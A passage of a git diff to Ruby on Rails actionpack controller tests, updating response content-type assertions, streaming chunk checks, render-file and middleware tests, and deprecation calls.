     get :variant_any, params: { v: :phablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
   end
 
   def test_variant_any_any
     get :variant_any_any
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
 
     get :variant_any_any, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
 
     get :variant_any_any, params: { v: :yolo }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
   end
 
   def test_variant_inline_any
     get :variant_any, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
 
     get :variant_inline_any, params: { v: :tablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
 
     get :variant_inline_any, params: { v: :phablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
   end
 
   def test_variant_inline_any_any
     get :variant_inline_any_any, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
 
     get :variant_inline_any_any, params: { v: :yolo }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
   end
 
   def test_variant_any_implicit_render
     get :variant_any_implicit_render, params: { v: :tablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "tablet", @response.body
 
     get :variant_any_implicit_render, params: { v: :phablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phablet", @response.body
   end
 
   def test_variant_any_with_none
     get :variant_any_with_none
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "none or phone", @response.body
 
     get :variant_any_with_none, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "none or phone", @response.body
   end
 
   def test_format_any_variant_any
     get :format_any_variant_any, format: :js, params: { v: :tablet }
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
     assert_equal "tablet", @response.body
   end
 
   def test_variant_negotiation_inline_syntax
     get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
   end
 
   def test_variant_negotiation_block_syntax
     get :variant_plus_none_for_format, params: { v: [:tablet, :phone] }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
   end
 
   def test_variant_negotiation_without_block
     get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
   end
 end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
index 054757fab3f6c..909518be62104 100644
--- a/actionpack/test/controller/new_base/bare_metal_test.rb
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -1,17 +1,34 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/array/access"
 
 module BareMetalTest
   class BareController < ActionController::Metal
     def index
       self.response_body = "Hello world"
     end
+
+    def assign_response_array
+      self.response = [200, { "content-type" => "text/html" }, ["Hello world"]]
+    end
+
+    def assign_response_object
+      self.response = Rack::Response.new("Hello world", 200, { "content-type" => "text/html" })
+    end
+
+    def assign_response_body_proc
+      self.response_body = proc do |stream|
+        stream.close
+      end
+    end
   end
 
   class BareTest < ActiveSupport::TestCase
     test "response body is a Rack-compatible response" do
       status, headers, body = BareController.action(:index).call(Rack::MockRequest.env_for("/"))
       assert_equal 200, status
-      string = ""
+      string = +""
 
       body.each do |part|
         assert part.is_a?(String), "Each part of the body must be a String"
@@ -29,9 +46,45 @@ class BareTest < ActiveSupport::TestCase
       controller.set_request!(ActionDispatch::Request.empty)
       controller.set_response!(BareController.make_response!(controller.request))
       controller.index
+
+      assert_predicate controller, :performed?
       assert_equal ["Hello world"], controller.response_body
     end
 
+    test "can assign response array as part of the controller execution" do
+      controller = BareController.new
+      controller.set_request!(ActionDispatch::Request.empty)
+      controller.assign_response_array
+
+      assert_predicate controller, :performed?
+      assert_equal true, controller.response_body
+      assert_equal 200, controller.response[0]
+      assert_equal "text/html", controller.response[1]["content-type"]
+    end
+
+    test "can assign response object as part of the controller execution" do
+      controller = BareController.new
+      controller.set_request!(ActionDispatch::Request.empty)
+      controller.assign_response_object
+
+      assert_predicate controller, :performed?
+      assert_equal true, controller.response_body
+      assert_equal 200, controller.response.status
+      assert_equal "text/html", controller.response.headers["content-type"]
+    end
+
+    test "can assign response body streamable object as part of the controller execution" do
+      controller = BareController.new
+      controller.set_request!(ActionDispatch::Request.empty)
+      controller.set_response!(BareController.make_response!(controller.request))
+      controller.assign_response_body_proc
+
+      assert_predicate controller, :performed?
+      assert controller.response_body.is_a?(Proc)
+      assert_equal 200, controller.response.status
+      assert_predicate controller.response.headers, :empty?
+    end
+
     test "connect a request to controller instance without dispatch" do
       env = {}
       controller = BareController.new
@@ -78,6 +131,11 @@ def processing
       head 102
     end
 
+    def early_hints
+      self.content_type = "text/html"
+      head 103
+    end
+
     def no_content
       self.content_type = "text/html"
       head 204
@@ -118,6 +176,12 @@ class HeadTest < ActiveSupport::TestCase
       assert_nil headers["Content-Length"]
     end
 
+    test "head :early_hints (103) does not return a content-type header" do
+      headers = HeadController.action(:early_hints).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers["Content-Type"]
+      assert_nil headers["Content-Length"]
+    end
+
     test "head :no_content (204) does not return a content-type header" do
       headers = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).second
       assert_nil headers["Content-Type"]
diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb
index b891df4c0ff5f..cdcb52891a0f1 100644
--- a/actionpack/test/controller/new_base/base_test.rb
+++ b/actionpack/test/controller/new_base/base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 # Tests the controller dispatching happy path
@@ -25,6 +27,10 @@ def show_actions
       render body: "actions: #{action_methods.to_a.sort.join(', ')}"
     end
 
+    # Shadow one of the internal methods
+    def translate
+    end
+
     private
       def authenticate
       end
@@ -45,7 +51,6 @@ def self.controller_path; "i_am_extremely_not_default"; end
   end
 
   class BaseTest < Rack::TestCase
-    # :api: plugin
     test "simple dispatching" do
       get "/dispatching/simple/index"
 
@@ -54,14 +59,12 @@ class BaseTest < Rack::TestCase
       assert_content_type "text/plain; charset=utf-8"
     end
 
-    # :api: plugin
     test "directly modifying response body" do
       get "/dispatching/simple/modify_response_body"
 
       assert_body "success"
     end
 
-    # :api: plugin
     test "directly modifying response body twice" do
       get "/dispatching/simple/modify_response_body_twice"
 
@@ -120,13 +123,14 @@ class BaseTest < Rack::TestCase
         modify_response_body_twice
         modify_response_body
         show_actions
+        translate
       )), SimpleController.action_methods
 
       assert_equal Set.new, EmptyController.action_methods
       assert_equal Set.new, Submodule::ContainedEmptyController.action_methods
 
       get "/dispatching/simple/show_actions"
-      assert_body "actions: index, modify_response_body, modify_response_body_twice, modify_response_headers, show_actions"
+      assert_body "actions: index, modify_response_body, modify_response_body_twice, modify_response_headers, show_actions, translate"
     end
   end
 end
diff --git a/actionpack/test/controller/new_base/content_negotiation_test.rb b/actionpack/test/controller/new_base/content_negotiation_test.rb
index b8707450316cf..548fa4300db61 100644
--- a/actionpack/test/controller/new_base/content_negotiation_test.rb
+++ b/actionpack/test/controller/new_base/content_negotiation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ContentNegotiation
@@ -18,9 +20,19 @@ class TestContentNegotiation < Rack::TestCase
       assert_body "Hello world */*!"
     end
 
-    test "Not all mimes are converted to symbol" do
+    test "A js or */* Accept header will return HTML" do
+      get "/content_negotiation/basic/hello", headers: { "HTTP_ACCEPT" => "text/javascript, */*" }
+      assert_body "Hello world text/html!"
+    end
+
+    test "A js or */* Accept header on xhr will return JavaScript" do
+      get "/content_negotiation/basic/hello", headers: { "HTTP_ACCEPT" => "text/javascript, */*" }, xhr: true
+      assert_body "Hello world text/javascript!"
+    end
+
+    test "Unregistered mimes are ignored" do
       get "/content_negotiation/basic/all", headers: { "HTTP_ACCEPT" => "text/plain, mime/another" }
-      assert_body '[:text, "mime/another"]'
+      assert_body "[:text]"
     end
   end
 end
diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb
index 85089bafe2d22..6c476c19b6cab 100644
--- a/actionpack/test/controller/new_base/content_type_test.rb
+++ b/actionpack/test/controller/new_base/content_type_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ContentType
@@ -43,7 +45,7 @@ class ExplicitContentTypeTest < Rack::TestCase
     test "default response is text/plain and UTF8" do
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":controller", action: "index"
           end
         end
diff --git a/actionpack/test/controller/new_base/middleware_test.rb b/actionpack/test/controller/new_base/middleware_test.rb
index 0493291c03b20..1f9e9c8d95f1f 100644
--- a/actionpack/test/controller/new_base/middleware_test.rb
+++ b/actionpack/test/controller/new_base/middleware_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module MiddlewareTest
   class MyMiddleware
-    def initialize(app)
+    def initialize(app, kw: nil)
       @app = app
     end
 
@@ -15,13 +17,13 @@ def call(env)
   end
 
   class ExclaimerMiddleware
-    def initialize(app)
+    def initialize(app, kw: nil)
       @app = app
     end
 
     def call(env)
       result = @app.call(env)
-      result[1]["Middleware-Order"] << "!"
+      result[1]["Middleware-Order"] += "!"
       result
     end
   end
@@ -44,8 +46,8 @@ class MyController < ActionController::Metal
     use BlockMiddleware do |config|
       config.configurable_message = "Configured by block."
     end
-    use MyMiddleware
-    middleware.insert_before MyMiddleware, ExclaimerMiddleware
+    use MyMiddleware, kw: 1
+    middleware.insert_before MyMiddleware, ExclaimerMiddleware, kw: 1
 
     def index
       self.response_body = "Hello World"
@@ -56,8 +58,8 @@ class InheritedController < MyController
   end
 
   class ActionsController < ActionController::Metal
-    use MyMiddleware, only: :show
-    middleware.insert_before MyMiddleware, ExclaimerMiddleware, except: :index
+    use MyMiddleware, only: :show, kw: 1
+    middleware.insert_before MyMiddleware, ExclaimerMiddleware, except: :index, kw: 1
 
     def index
       self.response_body = "index"
diff --git a/actionpack/test/controller/new_base/render_action_test.rb b/actionpack/test/controller/new_base/render_action_test.rb
index 4b59a3d6769b3..31dbc6e8979c5 100644
--- a/actionpack/test/controller/new_base/render_action_test.rb
+++ b/actionpack/test/controller/new_base/render_action_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderAction
@@ -87,7 +89,7 @@ def setup
 
     test "rendering with layout => true" do
       assert_raise(ArgumentError) do
-        get "/render_action/basic/hello_world_with_layout", headers: { "action_dispatch.show_exceptions" => false }
+        get "/render_action/basic/hello_world_with_layout", headers: { "action_dispatch.show_exceptions" => :none }
       end
     end
 
@@ -107,7 +109,7 @@ def setup
 
     test "rendering with layout => 'greetings'" do
       assert_raise(ActionView::MissingTemplate) do
-        get "/render_action/basic/hello_world_with_custom_layout", headers: { "action_dispatch.show_exceptions" => false }
+        get "/render_action/basic/hello_world_with_custom_layout", headers: { "action_dispatch.show_exceptions" => :none }
       end
     end
   end
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
index b1467a0deb6e0..9bedde6af5789 100644
--- a/actionpack/test/controller/new_base/render_body_test.rb
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderBody
@@ -85,7 +87,7 @@ class RenderBodyTest < Rack::TestCase
 
     test "rendering body from an action with default options renders the body with the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_body/simple"
         assert_body "hello david"
@@ -95,7 +97,7 @@ class RenderBodyTest < Rack::TestCase
 
     test "rendering body from an action with default options renders the body without the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_body/with_layout"
 
diff --git a/actionpack/test/controller/new_base/render_context_test.rb b/actionpack/test/controller/new_base/render_context_test.rb
deleted file mode 100644
index 25b73ac78cf06..0000000000000
--- a/actionpack/test/controller/new_base/render_context_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require "abstract_unit"
-
-# This is testing the decoupling of view renderer and view context
-# by allowing the controller to be used as view context. This is
-# similar to the way sinatra renders templates.
-module RenderContext
-  class BasicController < ActionController::Base
-    self.view_paths = [ActionView::FixtureResolver.new(
-      "render_context/basic/hello_world.html.erb" => "<%= @value %> from <%= self.__controller_method__ %>",
-      "layouts/basic.html.erb" => "?<%= yield %>?"
-    )]
-
-    # 1) Include ActionView::Context to bring the required dependencies
-    include ActionView::Context
-
-    # 2) Call _prepare_context that will do the required initialization
-    before_action :_prepare_context
-
-    def hello_world
-      @value = "Hello"
-      render action: "hello_world", layout: false
-    end
-
-    def with_layout
-      @value = "Hello"
-      render action: "hello_world", layout: "basic"
-    end
-
-    protected def __controller_method__
-      "controller context!"
-    end
-
-    # 3) Set view_context to self
-    private def view_context
-      self
-    end
-  end
-
-  class RenderContextTest < Rack::TestCase
-    test "rendering using the controller as context" do
-      get "/render_context/basic/hello_world"
-      assert_body "Hello from controller context!"
-      assert_status 200
-    end
-
-    test "rendering using the controller as context with layout" do
-      get "/render_context/basic/with_layout"
-      assert_body "?Hello from controller context!?"
-      assert_status 200
-    end
-  end
-end
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
index 6d651e0104d53..58dad7003db30 100644
--- a/actionpack/test/controller/new_base/render_file_test.rb
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -1,70 +1,31 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderFile
   class BasicController < ActionController::Base
-    self.view_paths = File.dirname(__FILE__)
+    self.view_paths = __dir__
 
     def index
-      render file: File.join(File.dirname(__FILE__), *%w[.. .. fixtures test hello_world])
-    end
-
-    def with_instance_variables
-      @secret = "in the sauce"
-      render file: File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_ivar")
-    end
-
-    def relative_path
-      @secret = "in the sauce"
-      render file: "../../fixtures/test/render_file_with_ivar"
-    end
-
-    def relative_path_with_dot
-      @secret = "in the sauce"
-      render file: "../../fixtures/test/dot.directory/render_file_with_ivar"
+      render file: File.expand_path("../../fixtures/test/hello_world.erb", __dir__)
     end
 
     def pathname
-      @secret = "in the sauce"
-      render file: Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar])
-    end
-
-    def with_locals
-      path = File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_locals")
-      render file: path, locals: { secret: "in the sauce" }
+      render file: Pathname.new(__dir__).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar.erb])
     end
   end
 
   class TestBasic < Rack::TestCase
     testing RenderFile::BasicController
 
-    test "rendering simple template" do
+    test "rendering simple file" do
       get :index
       assert_response "Hello world!"
     end
 
-    test "rendering template with ivar" do
-      get :with_instance_variables
-      assert_response "The secret is in the sauce\n"
-    end
-
-    test "rendering a relative path" do
-      get :relative_path
-      assert_response "The secret is in the sauce\n"
-    end
-
-    test "rendering a relative path with dot" do
-      get :relative_path_with_dot
-      assert_response "The secret is in the sauce\n"
-    end
-
     test "rendering a Pathname" do
       get :pathname
-      assert_response "The secret is in the sauce\n"
-    end
-
-    test "rendering file with locals" do
-      get :with_locals
-      assert_response "The secret is in the sauce\n"
+      assert_response "The secret is <%= @secret %>\n"
     end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
index 8019aa1eb5e9d..3296871d1a997 100644
--- a/actionpack/test/controller/new_base/render_html_test.rb
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderHtml
@@ -88,7 +90,7 @@ class RenderHtmlTest < Rack::TestCase
 
     test "rendering text from an action with default options renders the text with the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_html/simple"
         assert_body "hello david"
@@ -98,7 +100,7 @@ class RenderHtmlTest < Rack::TestCase
 
     test "rendering text from an action with default options renders the text without the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_html/with_layout"
 
@@ -163,14 +165,14 @@ class RenderHtmlTest < Rack::TestCase
       assert_status 200
     end
 
-    test "rendering html should escape the string if it is not html safe" do
+    test "rendering HTML should escape the string if it is not HTML safe" do
       get "/render_html/with_layout/with_unsafe_html_tag"
 
       assert_body "&lt;p&gt;hello world&lt;/p&gt;"
       assert_status 200
     end
 
-    test "rendering html should not escape the string if it is html safe" do
+    test "rendering HTML should not escape the string if it is HTML safe" do
       get "/render_html/with_layout/with_safe_html_tag"
 
       assert_body "<p>hello world</p>"
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
index 796283466af5e..8c26d34b00235 100644
--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderImplicitAction
@@ -6,7 +8,7 @@ class SimpleController < ::ApplicationController
       "render_implicit_action/simple/hello_world.html.erb"     => "Hello world!",
       "render_implicit_action/simple/hyphen-ated.html.erb"     => "Hello hyphen-ated!",
       "render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
-    ), ActionView::FileSystemResolver.new(File.expand_path("../../../controller", __FILE__))]
+    ), ActionView::FileSystemResolver.new(File.expand_path("../../controller", __dir__))]
 
     def hello_world() end
   end
diff --git a/actionpack/test/controller/new_base/render_layout_test.rb b/actionpack/test/controller/new_base/render_layout_test.rb
index 0a3809560e5b6..2e6f7efd3ae4d 100644
--- a/actionpack/test/controller/new_base/render_layout_test.rb
+++ b/actionpack/test/controller/new_base/render_layout_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "test_renderable"
 
 module ControllerLayouts
   class ImplicitController < ::ApplicationController
@@ -17,6 +20,10 @@ def override
       render template: "basic", layout: "override"
     end
 
+    def override_renderable
+      render TestRenderable.new, layout: "override"
+    end
+
     def layout_false
       render layout: false
     end
@@ -34,6 +41,10 @@ class ImplicitNameController < ::ApplicationController
     def index
       render template: "basic"
     end
+
+    def renderable
+      render TestRenderable.new
+    end
   end
 
   class RenderLayoutTest < Rack::TestCase
@@ -51,6 +62,20 @@ class RenderLayoutTest < Rack::TestCase
       assert_status 200
     end
 
+    test "rendering a renderable object, using the implicit layout" do
+      get "/controller_layouts/implicit_name/renderable"
+
+      assert_body "Implicit Hello, World! Layout"
+      assert_status 200
+    end
+
+    test "rendering a renderable object, using the override layout" do
+      get "/controller_layouts/implicit/override_renderable"
+
+      assert_body "Override! Hello, World!"
+      assert_status 200
+    end
+
     test "overriding an implicit layout with render :layout option" do
       get "/controller_layouts/implicit/override"
       assert_body "Override! Hello world!"
diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb
index 4511826978f91..ced630289bf6f 100644
--- a/actionpack/test/controller/new_base/render_partial_test.rb
+++ b/actionpack/test/controller/new_base/render_partial_test.rb
@@ -1,14 +1,16 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderPartial
   class BasicController < ActionController::Base
     self.view_paths = [ActionView::FixtureResolver.new(
       "render_partial/basic/_basic.html.erb"      => "BasicPartial!",
-      "render_partial/basic/basic.html.erb"       => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
-      "render_partial/basic/with_json.html.erb"   => "<%= render :partial => 'with_json', :formats => [:json] %>",
-      "render_partial/basic/_with_json.json.erb"  => "<%= render :partial => 'final', :formats => [:json] %>",
+      "render_partial/basic/basic.html.erb"       => "<%= @test_unchanged = 'goodbye' %><%= render partial: 'basic' %><%= @test_unchanged %>",
+      "render_partial/basic/with_json.html.erb"   => "<%= render partial: 'with_json', formats: [:json] %>",
+      "render_partial/basic/_with_json.json.erb"  => "<%= render partial: 'final', formats: [:json] %>",
       "render_partial/basic/_final.json.erb"      => "{ final: json }",
-      "render_partial/basic/overridden.html.erb"  => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overridden' %><%= @test_unchanged %>",
+      "render_partial/basic/overridden.html.erb"  => "<%= @test_unchanged = 'goodbye' %><%= render partial: 'overridden' %><%= @test_unchanged %>",
       "render_partial/basic/_overridden.html.erb" => "ParentPartial!",
       "render_partial/child/_overridden.html.erb" => "OverriddenPartial!"
     )]
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
index 44be8dd380da7..9a8b3d0b7520f 100644
--- a/actionpack/test/controller/new_base/render_plain_test.rb
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderPlain
@@ -80,7 +82,7 @@ class RenderPlainTest < Rack::TestCase
 
     test "rendering text from an action with default options renders the text with the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_plain/simple"
         assert_body "hello david"
@@ -90,7 +92,7 @@ class RenderPlainTest < Rack::TestCase
 
     test "rendering text from an action with default options renders the text without the layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: "index" } }
 
         get "/render_plain/with_layout"
 
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index 1177b8b03e004..01907f4fca7ee 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderStreaming
@@ -43,44 +45,78 @@ def explicit_cache
 
   class StreamingTest < Rack::TestCase
     test "rendering with streaming enabled at the class level" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/hello_world")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["Hello world", ", I'm here!"], body
+
       get "/render_streaming/basic/hello_world"
-      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
-      assert_streaming!
+      assert_body "Hello world, I'm here!"
     end
 
     test "rendering with streaming given to render" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/explicit")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["Hello world", ", I'm here!"], body
+
       get "/render_streaming/basic/explicit"
-      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
-      assert_streaming!
+      assert_body "Hello world, I'm here!"
+      assert_cache_control!
     end
 
     test "rendering with streaming do not override explicit cache control given to render" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/explicit_cache")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["Hello world", ", I'm here!"], body
+
       get "/render_streaming/basic/explicit_cache"
-      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
-      assert_streaming! "private"
+      assert_body "Hello world, I'm here!"
+      assert_cache_control! "private"
     end
 
     test "rendering with streaming no layout" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/no_layout")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["Hello world"], body
+
       get "/render_streaming/basic/no_layout"
-      assert_body "b\r\nHello world\r\n0\r\n\r\n"
-      assert_streaming!
+      assert_body "Hello world"
+      assert_cache_control!
     end
 
     test "skip rendering with streaming at render level" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/skip")
+      status, _, body = app.call(env)
+      assert_equal 200, status
+      assert_chunks ["Hello world, I'm here!"], body
+
       get "/render_streaming/basic/skip"
       assert_body "Hello world, I'm here!"
     end
 
     test "rendering with layout exception" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/layout_exception")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["<body class=\"", "\"><script>window.location = \"/500.html\"</script></html>"], body
+
       get "/render_streaming/basic/layout_exception"
-      assert_body "d\r\n<body class=\"\r\n37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
-      assert_streaming!
+      assert_body "<body class=\"\"><script>window.location = \"/500.html\"</script></html>"
+      assert_cache_control!
     end
 
     test "rendering with template exception" do
+      env = Rack::MockRequest.env_for("/render_streaming/basic/template_exception")
+      status, headers, body = app.call(env)
+      assert_streaming!(status, headers, body)
+      assert_chunks ["\"><script>window.location = \"/500.html\"</script></html>"], body
+
       get "/render_streaming/basic/template_exception"
-      assert_body "37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
-      assert_streaming!
+      assert_body "\"><script>window.location = \"/500.html\"</script></html>"
+      assert_cache_control!
     end
 
     test "rendering with template exception logs the exception" do
@@ -96,19 +132,28 @@ class StreamingTest < Rack::TestCase
       end
     end
 
-    test "do not stream on HTTP/1.0" do
-      get "/render_streaming/basic/hello_world", headers: { "HTTP_VERSION" => "HTTP/1.0" }
-      assert_body "Hello world, I'm here!"
-      assert_status 200
-      assert_equal "22", headers["Content-Length"]
-      assert_nil headers["Transfer-Encoding"]
+    def assert_streaming!(status, headers, body)
+      assert_equal 200, status
+
+      # It should not have a content length
+      assert_nil headers["content-length"]
+
+      # The body should not respond to `#to_ary`
+      assert_not_respond_to body, :to_ary
     end
 
-    def assert_streaming!(cache = "no-cache")
-      assert_status 200
-      assert_nil headers["Content-Length"]
-      assert_equal "chunked", headers["Transfer-Encoding"]
-      assert_equal cache, headers["Cache-Control"]
+    def assert_cache_control!(value = "no-cache", headers: self.headers)
+      assert_equal value, headers["cache-control"]
+    end
+
+    def assert_chunks(expected, body)
+      index = 0
+      body.each do |chunk|
+        assert_equal expected[index], chunk
+        index += 1
+      end
+
+      assert_equal expected.size, index
     end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 1102305f3e567..2a46f7ad6a233 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderTemplate
@@ -8,10 +10,10 @@ class WithoutLayoutController < ActionController::Base
       "locals.html.erb"            => "The secret is <%= secret %>",
       "xml_template.xml.builder"   => "xml.html do\n  xml.p 'Hello'\nend",
       "with_raw.html.erb"          => "Hello <%=raw '<strong>this is raw</strong>' %>",
-      "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in an html template",
+      "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in an HTML template",
       "with_implicit_raw.text.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a text template",
-      "test/with_json.html.erb"    => "<%= render :template => 'test/with_json', :formats => [:json] %>",
-      "test/with_json.json.erb"    => "<%= render :template => 'test/final', :formats => [:json]  %>",
+      "test/with_json.html.erb"    => "<%= render template: 'test/with_json', formats: [:json] %>",
+      "test/with_json.json.erb"    => "<%= render template: 'test/final', formats: [:json]  %>",
       "test/final.json.erb"        => "{ final: json }",
       "test/with_error.html.erb"   => "<%= raise 'i do not exist' %>"
     )]
@@ -44,8 +46,12 @@ def with_locals
       render template: "locals", locals: { secret: "area51" }
     end
 
-    def with_locals_without_key
-      render "locals", locals: { secret: "area51" }
+    def with_locals_with_slash
+      render template: "/locals", locals: { secret: "area51" }
+    end
+
+    def with_locals_with_slash_without_key
+      render "/locals", locals: { secret: "area51" }
     end
 
     def builder_template
@@ -65,7 +71,6 @@ def with_error
     end
 
     private
-
       def show_detailed_exceptions?
         request.local?
       end
@@ -104,8 +109,13 @@ class TestWithoutLayout < Rack::TestCase
       assert_response "The secret is area51"
     end
 
-    test "rendering a template with local variables without key" do
-      get :with_locals
+    test "rendering a template with local variables with a leading slash" do
+      get :with_locals_with_slash
+      assert_response "The secret is area51"
+    end
+
+    test "rendering a template with local variables with a slash without key" do
+      get :with_locals_with_slash_without_key
       assert_response "The secret is area51"
     end
 
@@ -122,7 +132,7 @@ class TestWithoutLayout < Rack::TestCase
 
